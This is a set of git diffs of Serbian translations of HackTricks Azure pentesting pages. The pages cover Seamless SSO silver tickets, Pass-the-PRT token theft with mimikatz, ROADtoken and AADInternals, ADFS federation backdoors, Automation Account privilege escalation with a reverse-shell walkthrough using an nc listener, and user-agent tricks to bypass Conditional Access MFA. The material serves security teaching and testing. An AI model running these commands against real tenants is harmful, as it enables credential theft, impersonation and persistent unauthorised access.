Desktop SSO koristi **Kerberos** za autentifikaciju. Kada je konfigurisan, Azure AD Connect kreira **račun računara nazvan AZUREADSSOACC`$`** u lokalnom AD-u. Lozinka `AZUREADSSOACC$` računa se **šalje u čistom tekstu Azure AD** tokom konfiguracije.
|
||||
Desktop SSO koristi **Kerberos** za autentifikaciju. Kada je konfigurisan, Azure AD Connect kreira **račun računara nazvan AZUREADSSOACC`$`** u lokalnom AD. Lozinka računa `AZUREADSSOACC$` je **poslata u čistom tekstu Azure AD** tokom konfiguracije.
|
||||
|
||||
**Kerberos karte** su **enkriptovane** koristeći **NTHash (MD4)** lozinke, a Azure AD koristi poslatu lozinku za dekripciju karata.
|
||||
|
||||
@@ -20,8 +20,8 @@ Desktop SSO koristi **Kerberos** za autentifikaciju. Kada je konfigurisan, Azure
|
||||
|
||||
### On-prem -> cloud
|
||||
|
||||
**Lozinka** korisnika **`AZUREADSSOACC$` nikada se ne menja**. Stoga, administrator domena može kompromitovati **hash ovog računa**, a zatim ga koristiti za **kreiranje srebrnih karata** za povezivanje na Azure sa **bilo kojim lokalnim korisnikom koji je sinhronizovan**:
|
||||
```powershell
|
||||
**Lozinka** korisnika **`AZUREADSSOACC$` nikada se ne menja**. Stoga, administrator domena može kompromitovati **hash ovog računa**, a zatim ga koristiti za **kreiranje srebrnih karata** za povezivanje na Azure sa **bilo kojim korisnikom na lokaciji koji je sinhronizovan**:
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
|
||||
@@ -39,7 +39,7 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
Sa hash-om sada možete **generisati srebrne karte**:
|
||||
```powershell
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
@@ -74,7 +74,7 @@ Da biste iskoristili srebrnu kartu, sledeći koraci treba da se izvrše:
|
||||
|
||||
Takođe je moguće izvršiti ovaj napad **bez dcsync napada** da biste bili diskretniji, kao što je [objašnjeno u ovom blog postu](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Za to vam je potrebna samo jedna od sledećih stavki:
|
||||
|
||||
- **TGT kompromitovanog korisnika:** Čak i ako nemate jedan, ali je korisnik kompromitovan, možete dobiti jedan koristeći trik lažne TGT delegacije implementiran u mnogim alatima kao što su [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) i [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **TGT kompromitovanog korisnika:** Čak i ako ga nemate, ali je korisnik kompromitovan, možete dobiti jedan koristeći trik lažne TGT delegacije implementiran u mnogim alatima kao što su [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) i [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Zlatna karta**: Ako imate KRBTGT ključ, možete kreirati TGT koji vam je potreban za napadnutog korisnika.
|
||||
- **NTLM hash ili AES ključ kompromitovanog korisnika:** SeamlessPass će komunicirati sa kontrolerom domena sa ovom informacijom da generiše TGT.
|
||||
- **NTLM hash ili AES ključ AZUREADSSOACC$ naloga:** Sa ovom informacijom i SID-om korisnika koji napadate, moguće je kreirati servisnu kartu i autentifikovati se sa cloud-om (kao što je izvedeno u prethodnoj metodi).
|
||||
@@ -85,12 +85,12 @@ seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_
|
||||
```
|
||||
Dalje informacije o podešavanju Firefoxa za rad sa seamless SSO mogu se [**pronaći u ovom blog postu**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
#### ~~Kreiranje Kerberos karata za korisnike koji su samo u cloudu~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
#### ~~Kreiranje Kerberos karata za korisnike koji koriste samo cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Ako administratori Active Directory imaju pristup Azure AD Connect, mogu **postaviti SID za bilo kog cloud-korisnika**. Na ovaj način Kerberos **karte** mogu biti **kreirane i za korisnike koji su samo u cloudu**. Jedini zahtev je da SID bude ispravan [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
Ako administratori Active Directory imaju pristup Azure AD Connect, mogu **postaviti SID za bilo kog cloud-korisnika**. Na ovaj način Kerberos **karte** mogu biti **kreirane i za korisnike koji koriste samo cloud**. Jedini zahtev je da SID bude ispravan [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Promena SID-a korisnika koji su samo u cloudu je sada **blokirana od strane Microsoft-a**.\
|
||||
> Promena SID-a korisnika koji koriste samo cloud je sada **blokirana od strane Microsoft-a**.\
|
||||
> Za informacije proverite [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
### On-prem -> Cloud putem Ograničene Delegacije na Bazi Resursa <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
@@ -22,7 +22,7 @@ U istom izlazu takođe možete videti da li je **uređaj povezan sa Azure** (u p
|
||||
|
||||
## PRT Kolačić
|
||||
|
||||
PRT kolačić se zapravo zove **`x-ms-RefreshTokenCredential`** i to je JSON Web Token (JWT). JWT sadrži **3 dela**, **zaglavlje**, **payload** i **potpis**, podeljene sa `.` i sve su url-sigurne base64 kodirane. Tipičan PRT kolačić sadrži sledeće zaglavlje i telo:
|
||||
PRT kolačić se zapravo zove **`x-ms-RefreshTokenCredential`** i to je JSON Web Token (JWT). JWT sadrži **3 dela**, **zaglavlje**, **payload** i **potpis**, podeljene tačkom `.` i sve su url-sigurne base64 kodirane. Tipičan PRT kolačić sadrži sledeće zaglavlje i telo:
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
@@ -46,14 +46,14 @@ Stoga, čak i ako PRT ne može biti ekstrahovan jer se nalazi unutar TPM-a, mogu
|
||||
|
||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Scenariji Zloupotrebe
|
||||
## PRT Zloupotreba Scenariji
|
||||
|
||||
Kao **običan korisnik** moguće je **zatražiti korišćenje PRT-a** tražeći od LSASS-a SSO podatke.\
|
||||
To se može uraditi kao **nativne aplikacije** koje traže tokene od **Web Account Manager** (token broker). WAM prosleđuje zahtev **LSASS-u**, koji traži tokene koristeći potpisanu PRT tvrdnju. Ili se može uraditi putem **tokova zasnovanih na pretraživaču (web)** gde se **PRT kolačić** koristi kao **zaglavlje** za autentifikaciju zahteva za Azure AS stranice za prijavu.
|
||||
To se može uraditi kao **nativne aplikacije** koje traže tokene od **Web Account Manager** (token broker). WAM prosleđuje zahtev **LSASS-u**, koji traži tokene koristeći potpisanu PRT tvrdnju. Ili se može uraditi sa **tokovima zasnovanim na pretraživaču (web)** gde se **PRT kolačić** koristi kao **zaglavlje** za autentifikaciju zahteva za Azure AS stranice za prijavu.
|
||||
|
||||
Kao **SYSTEM** mogli biste **ukrasti PRT ako nije zaštićen** TPM-om ili **interagovati sa PRT ključevima u LSASS-u** koristeći kripto API-je.
|
||||
|
||||
## Primeri Napada - Pass-the-PRT
|
||||
## Pass-the-PRT Napad Primeri
|
||||
|
||||
### Napad - ROADtoken
|
||||
|
||||
@@ -61,7 +61,7 @@ Za više informacija o ovom načinu [**proverite ovaj post**](https://dirkjanm.i
|
||||
|
||||
Da biste generisali važeći PRT kolačić, prva stvar koja vam je potrebna je nonce.\
|
||||
Možete to dobiti sa:
|
||||
```powershell
|
||||
```bash
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
@@ -77,19 +77,19 @@ $Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
Ili korišćenjem [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```powershell
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
Zatim možete koristiti [**roadtoken**](https://github.com/dirkjanm/ROADtoken) da dobijete novi PRT (pokrenite u alatu iz procesa korisnika koji napadate):
|
||||
```powershell
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
Kao jedinstvena linija:
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
Zatim možete koristiti **generisani kolačić** za **generisanje tokena** za **prijavu** koristeći Azure AD **Graph** ili Microsoft Graph:
|
||||
```powershell
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
|
||||
@@ -101,15 +101,15 @@ Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
### Napad - Korišćenje AADInternals i propuštenog PRT-a
|
||||
|
||||
`Get-AADIntUserPRTToken` **dobija korisnikov PRT token** sa Azure AD povezanog ili hibridno povezanog računara. Koristi `BrowserCore.exe` za dobijanje PRT tokena.
|
||||
```powershell
|
||||
```bash
|
||||
# Get the PRToken
|
||||
$prtToken = Get-AADIntUserPRTToken
|
||||
|
||||
# Get an access token for AAD Graph API and save to cache
|
||||
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
```
|
||||
Ili ako imate vrednosti iz Mimikatz, možete takođe koristiti AADInternals za generisanje tokena:
|
||||
```powershell
|
||||
Ili ako imate vrednosti iz Mimikatz, možete takođe koristiti AADInternals da generišete token:
|
||||
```bash
|
||||
# Mimikat "PRT" value
|
||||
$MimikatzPRT="MC5BWU..."
|
||||
|
||||
@@ -153,7 +153,7 @@ Zatim idite na [https://portal.azure.com](https://portal.azure.com)
|
||||
#### Koraci
|
||||
|
||||
1. **PRT (Primarni osvežavajući token) se izvlači iz LSASS** (Local Security Authority Subsystem Service) i čuva za kasniju upotrebu.
|
||||
2. **Ključ sesije se zatim izvlači**. S obzirom na to da se ovaj ključ prvobitno izdaje, a zatim ponovo enkriptuje od strane lokalnog uređaja, neophodno je dekriptovanje pomoću DPAPI masterključa. Detaljne informacije o DPAPI (Data Protection API) možete pronaći u ovim resursima: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) a za razumevanje njegove primene, pogledajte [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
2. **Ključ sesije se zatim izvlači**. S obzirom na to da se ovaj ključ inicijalno izdaje, a zatim ponovo enkriptuje od strane lokalnog uređaja, neophodno je dekriptovanje pomoću DPAPI masterključa. Detaljne informacije o DPAPI (Data Protection API) možete pronaći u ovim resursima: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) i za razumevanje njegove primene, pogledajte [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Nakon dekriptovanja Ključa sesije, **dobijaju se derivirani ključ i kontekst za PRT**. Ovi su ključni za **kreiranje PRT kolačića**. Konkretno, derivirani ključ se koristi za potpisivanje JWT (JSON Web Token) koji čini kolačić. Sveobuhvatno objašnjenje ovog procesa je pružio Dirk-jan, dostupno [ovde](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
|
||||
> [!CAUTION]
|
||||
@@ -166,7 +166,7 @@ Možete pronaći **detaljno objašnjenje izvršenog procesa** za ekstrakciju ovi
|
||||
> Ovo neće tačno raditi nakon ispravki iz avgusta 2021. za dobijanje PRT tokena drugih korisnika, jer samo korisnik može dobiti svoj PRT (lokalni administrator ne može pristupiti PRT-ovima drugih korisnika), ali može pristupiti svom.
|
||||
|
||||
Možete koristiti **mimikatz** za ekstrakciju PRT:
|
||||
```powershell
|
||||
```bash
|
||||
mimikatz.exe
|
||||
Privilege::debug
|
||||
Sekurlsa::cloudap
|
||||
@@ -185,7 +185,7 @@ Izvucite takođe sesijski ključ (**`KeyValue`** polja **`ProofOfPossesionKey`**
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Ako ne vidite nikakve PRT podatke, može biti da **nemate nikakve PRT-ove** jer vaš uređaj nije povezan sa Azure AD ili može biti da **koristite staru verziju** Windows 10.
|
||||
> Ako ne vidite nikakve PRT podatke, može biti da **nemate nikakve PRT-ove** jer vaš uređaj nije povezan sa Azure AD ili može biti da **pokrećete staru verziju** Windows 10.
|
||||
|
||||
Da biste **dekriptovali** sesijski ključ, potrebno je da **povećate** svoja ovlašćenja na **SYSTEM** kako biste radili pod kontekstom računara i mogli da koristite **DPAPI master ključ za dekriptovanje**. Možete koristiti sledeće komande da to uradite:
|
||||
```
|
||||
@@ -228,7 +228,7 @@ HttpOnly: Set to True (checked)
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- Sada možemo **zatražiti tokene** koristeći interaktivni pregledač sa `roadtx browserprtauth`. Ako koristimo komandu `roadtx describe`, vidimo da pristupni token uključuje MFA tvrdnju jer je PRT koji sam koristio u ovom slučaju takođe imao MFA tvrdnju.
|
||||
- Sada možemo **zatražiti tokene** koristeći interaktivni pregledač sa `roadtx browserprtauth`. Ako koristimo komandu `roadtx describe`, vidimo da pristupni token uključuje MFA zahtev jer je PRT koji sam koristio u ovom slučaju takođe imao MFA zahtev.
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
# Az - Dozvole za Pentest
|
||||
# Az - Permissions for a Pentest
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Da biste započeli testove, trebali biste imati pristup sa korisnikom koji ima **Reader dozvole za pretplatu** i **Global Reader ulogu u AzureAD**. Ako čak ni u tom slučaju **niste u mogućnosti da pristupite sadržaju Storage naloga**, možete to popraviti sa **ulogom Storage Account Contributor**.
|
||||
Da biste započeli pregled jačanja bezbednosti nekih Entra ID tenanata, potrebno je da zatražite **Global Reader role na svakom tenantu**. Pored toga, da biste izvršili pregled jačanja različitih Azure pretplata, potrebno je da imate najmanje **Reader permissions za sve pretplate**.
|
||||
|
||||
Imajte na umu da, ako te uloge nisu dovoljne za pristup svim informacijama koje su vam potrebne, možete takođe zatražiti od klijenta uloge sa potrebnim dozvolama. Samo pokušajte da **minimizujete količinu dozvola koje nisu samo za čitanje koje tražite!**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -17,31 +17,31 @@ Moguće je **ciljati aplikaciju sa visokim dozvolama** ili **dodati novu aplikac
|
||||
Zanimljiva uloga koju bi trebalo dodati aplikaciji bila bi **Privileged authentication administrator role** jer omogućava **resetovanje lozinke** Globalnim Administratorima.
|
||||
|
||||
Ova tehnika takođe omogućava **obići MFA**.
|
||||
```powershell
|
||||
```bash
|
||||
$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
|
||||
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
|
||||
```
|
||||
- Za autentifikaciju zasnovanu na sertifikatima
|
||||
```powershell
|
||||
```bash
|
||||
Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
|
||||
```
|
||||
### Federation - Token Signing Certificate
|
||||
|
||||
Sa **DA privilegijama** na on-prem AD, moguće je kreirati i uvesti **nove Token signing** i **Token Decrypt sertifikate** koji imaju veoma dugu validnost. Ovo će nam omogućiti da **se prijavimo kao bilo koji korisnik** čiji ImuutableID znamo.
|
||||
Sa **DA privilegijama** na on-prem AD, moguće je kreirati i uvesti **nove Token signing** i **Token Decrypt certifikate** koji imaju veoma dugu validnost. Ovo će nam omogućiti da **se prijavimo kao bilo koji korisnik** čiji ImuutableID znamo.
|
||||
|
||||
**Pokrenite** sledeću komandu kao **DA na ADFS serveru(ima)** da kreirate nove sertifikate (podrazumevani lozinka 'AADInternals'), dodajte ih u ADFS, onemogućite automatsko obnavljanje i restartujte servis:
|
||||
```powershell
|
||||
**Pokrenite** sledeću komandu kao **DA na ADFS serveru(ima)** da kreirate nove certifikate (podrazumevani lozinka 'AADInternals'), dodajte ih u ADFS, onemogućite automatsko obnavljanje i restartujte servis:
|
||||
```bash
|
||||
New-AADIntADFSSelfSignedCertificates
|
||||
```
|
||||
Zatim, ažurirajte informacije o sertifikatu sa Azure AD:
|
||||
```powershell
|
||||
```bash
|
||||
Update-AADIntADFSFederationSettings -Domain cyberranges.io
|
||||
```
|
||||
### Federacija - Pouzdana Domen
|
||||
### Federation - Trusted Domain
|
||||
|
||||
Sa GA privilegijama na tenant-u, moguće je **dodati novi domen** (mora biti verifikovan), konfigurisati njegov tip autentifikacije na Federated i konfigurisati domen da **veruje određenom sertifikatu** (any.sts u sledećoj komandi) i izdavaču:
|
||||
```powershell
|
||||
Sa GA privilegijama na tenant-u, moguće je **dodati novu domenu** (mora biti verifikovana), konfigurisati njen tip autentifikacije na Federated i konfigurisati domenu da **veruje određenom sertifikatu** (any.sts u sledećoj komandi) i izdavaču:
|
||||
```bash
|
||||
# Using AADInternals
|
||||
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
|
||||
|
||||
|
||||
@@ -45,7 +45,7 @@ az automation runbook publish \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/jobs/write`** omogućava korisniku da pokrene Runbook u Automation Account-u koristeći:
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/jobs/write`** omogućava korisniku da pokrene Runbook u Automation Account koristeći:
|
||||
```bash
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
@@ -104,7 +104,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Zatim, sa dozvolom **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler-u runbook koristeći:
|
||||
Zatim, uz dozvolu **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti planera runbook-u koristeći:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -179,7 +179,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Ova dozvola omogućava korisniku da **konfiguriše izvor kontrolu** za Automation Account koristeći komande kao što su sledeće (ovde se koristi Github kao primer):
|
||||
Ova dozvola omogućava korisniku da **konfiguriše kontrolu izvora** za Automation Account koristeći komande kao što su sledeće (ovde se koristi Github kao primer):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -194,9 +194,9 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a sa nekim drugim dozvolama za pokretanje, bilo bi **moguće eskalirati privilegije**.
|
||||
Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a uz neke druge dozvole za pokretanje, bilo bi **moguće eskalirati privilegije**.
|
||||
|
||||
Pored toga, zapamtite da za rad kontrole verzija u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljani identitet, klijent ID MI mora biti naveden u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Pored toga, zapamtite da za rad kontrole verzija u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljana identitet, klijentski ID MI mora biti naveden u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Imajte na umu da nije moguće promeniti URL repozitorijuma kontrole verzija nakon što je kreiran.
|
||||
@@ -219,7 +219,7 @@ az rest --method PUT \
|
||||
```
|
||||
### Prilagođena Runtime Okruženja
|
||||
|
||||
Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je **backdoor**). Na taj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen.
|
||||
Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je **backdoor**). Na ovaj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen.
|
||||
|
||||
### Kompromitovanje Konfiguracije Stanja
|
||||
|
||||
@@ -236,13 +236,13 @@ Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti mog
|
||||
- Korak 2 — Zip Fajl Konfiguracije
|
||||
|
||||
Fajl `reverse_shell_config.ps1` se kompresuje u `.zip` fajl, čineći ga spremnim za prenos na Azure Storage Account.
|
||||
```powershell
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Korak 3 — Postavi kontekst skladišta i otpremi
|
||||
|
||||
Zipped konfiguracioni fajl se otprema u unapred definisani Azure Storage kontejner, azure-pentest, koristeći Azure-ovu Set-AzStorageBlobContent cmdlet.
|
||||
```powershell
|
||||
Zipped konfiguracioni fajl se otprema u unapred definisani Azure Storage kontejner, azure-pentest, koristeći Azure-ov Set-AzStorageBlobContent cmdlet.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Korak 4 — Priprema Kali Box-a
|
||||
@@ -259,11 +259,11 @@ Konfiguracioni fajl se izvršava, što rezultira u tome da se skripta za reverzn
|
||||
|
||||
- Korak 6 — Hostuj Payload i Postavi Listener
|
||||
|
||||
Python SimpleHTTPServer se pokreće da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.
|
||||
Pokreće se Python SimpleHTTPServer da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
Zakazani zadatak izvršava payload, postižući privilegije na nivou SYSTEM-a.
|
||||
Zakazani zadatak izvršava payload, postižući privilegije na nivou SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,13 +10,13 @@ Politike uslovnog pristupa u osnovi **definišu** **Ko** može pristupiti **Čem
|
||||
Evo nekoliko primera:
|
||||
|
||||
1. **Politika rizika prijavljivanja**: Ova politika može biti postavljena da zahteva višefaktorsku autentifikaciju (MFA) kada se otkrije rizik prijavljivanja. Na primer, ako je ponašanje korisnika prilikom prijavljivanja neobično u poređenju sa njihovim redovnim obrascem, kao što je prijavljivanje iz druge zemlje, sistem može zatražiti dodatnu autentifikaciju.
|
||||
2. **Politika usklađenosti uređaja**: Ova politika može ograničiti pristup uslugama Azure samo na uređaje koji su usklađeni sa bezbednosnim standardima organizacije. Na primer, pristup može biti dozvoljen samo sa uređaja koji imaju ažurirani antivirusni softver ili koji koriste određenu verziju operativnog sistema.
|
||||
2. **Politika usklađenosti uređaja**: Ova politika može ograničiti pristup uslugama Azure samo na uređaje koji su usklađeni sa bezbednosnim standardima organizacije. Na primer, pristup može biti dozvoljen samo sa uređaja koji imaju ažuriran antivirusni softver ili koji koriste određenu verziju operativnog sistema.
|
||||
|
||||
## Zaobilaženje politika uslovnog pristupa
|
||||
|
||||
Moguće je da politika uslovnog pristupa **proverava neke informacije koje se lako mogu izmeniti, što omogućava zaobilaženje politike**. I ako je, na primer, politika konfigurisala MFA, napadač će moći da je zaobiđe.
|
||||
|
||||
Prilikom konfiguracije politike uslovnog pristupa potrebno je naznačiti **korisnike** koji su pogođeni i **ciljane resurse** (kao što su sve cloud aplikacije).
|
||||
Prilikom konfiguracije politike uslovnog pristupa potrebno je naznačiti **korisnike** koji su pogođeni i **ciljne resurse** (kao što su sve cloud aplikacije).
|
||||
|
||||
Takođe je potrebno konfigurisati **uslove** koji će **pokrenuti** politiku:
|
||||
|
||||
@@ -24,23 +24,23 @@ Takođe je potrebno konfigurisati **uslove** koji će **pokrenuti** politiku:
|
||||
- Može se zaobići korišćenjem VPN-a ili Proxy-a za povezivanje sa zemljom ili uspešnim prijavljivanjem sa dozvoljene IP adrese
|
||||
- **Microsoft rizici**: Rizik korisnika, Rizik prijavljivanja, Rizik unutrašnjeg korisnika
|
||||
- **Platforme uređaja**: Bilo koji uređaj ili odabrati Android, iOS, Windows telefon, Windows, macOS, Linux
|
||||
- Ako “Bilo koji uređaj” nije odabran, ali su sve druge opcije odabrane, moguće je zaobići to korišćenjem nasumičnog user-agent-a koji nije povezan sa tim platformama
|
||||
- Ako “Bilo koji uređaj” nije odabran, ali su sve druge opcije odabrane, moguće je zaobići to koristeći nasumični user-agent koji nije povezan sa tim platformama
|
||||
- **Klijentske aplikacije**: Opcije su “Pregledač”, “Mobilne aplikacije i desktop klijenti”, “Exchange ActiveSync klijenti” i “Ostali klijenti”
|
||||
- Da bi se zaobišao prijavljivanje sa neodabranom opcijom
|
||||
- **Filter za uređaje**: Moguće je generisati pravilo vezano za korišćeni uređaj
|
||||
- **Tokovi autentifikacije**: Opcije su “Tok uređaja” i “Prenos autentifikacije”
|
||||
- Ovo neće uticati na napadača osim ako ne pokušava da zloupotrebi neki od tih protokola u pokušaju phishing-a da pristupi nalogu žrtve
|
||||
|
||||
Mogući **rezultati** su: Blokirati ili Dodeliti pristup uz potencijalne uslove kao što su zahtevati MFA, uređaj da bude usklađen…
|
||||
Mogući **rezultati** su: Blokirati ili Dodeliti pristup uz potencijalne uslove kao što su zahtev za MFA, uređaj da bude usklađen…
|
||||
|
||||
### Platforme uređaja - Uslov uređaja
|
||||
|
||||
Moguće je postaviti uslov zasnovan na **platformi uređaja** (Android, iOS, Windows, macOS...), međutim, ovo se zasniva na **user-agent-u** tako da je lako zaobići. Čak i **ako se sve opcije primenjuju MFA**, ako koristite **user-agent koji nije prepoznat**, moći ćete da zaobiđete MFA ili blokadu:
|
||||
Moguće je postaviti uslov zasnovan na **platformi uređaja** (Android, iOS, Windows, macOS...), međutim, ovo se zasniva na **user-agent-u** pa je lako zaobići. Čak i **ako se sve opcije primenjuju za MFA**, ako koristite **user-agent koji nije prepoznat**, moći ćete da zaobiđete MFA ili blokadu:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Samo slanjem nepoznatog user-agent-a (kao što je `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) dovoljno je da ne pokrene ovaj uslov.\
|
||||
Možete ručno promeniti user-agent u razvojnim alatima:
|
||||
Samo slanjem pregledača **nepoznatog user-agent-a** (kao što je `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) dovoljno je da ne pokrene ovaj uslov.\
|
||||
Možete promeniti user agent **ručno** u alatima za razvoj:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@@ -57,7 +57,7 @@ Moguće je konfigurisati **politike uslovnog pristupa da blokiraju ili primoraju
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Da biste pokušali da zaobiđete ovu zaštitu, trebali biste videti da li možete **prijaviti se u bilo koju aplikaciju**.\
|
||||
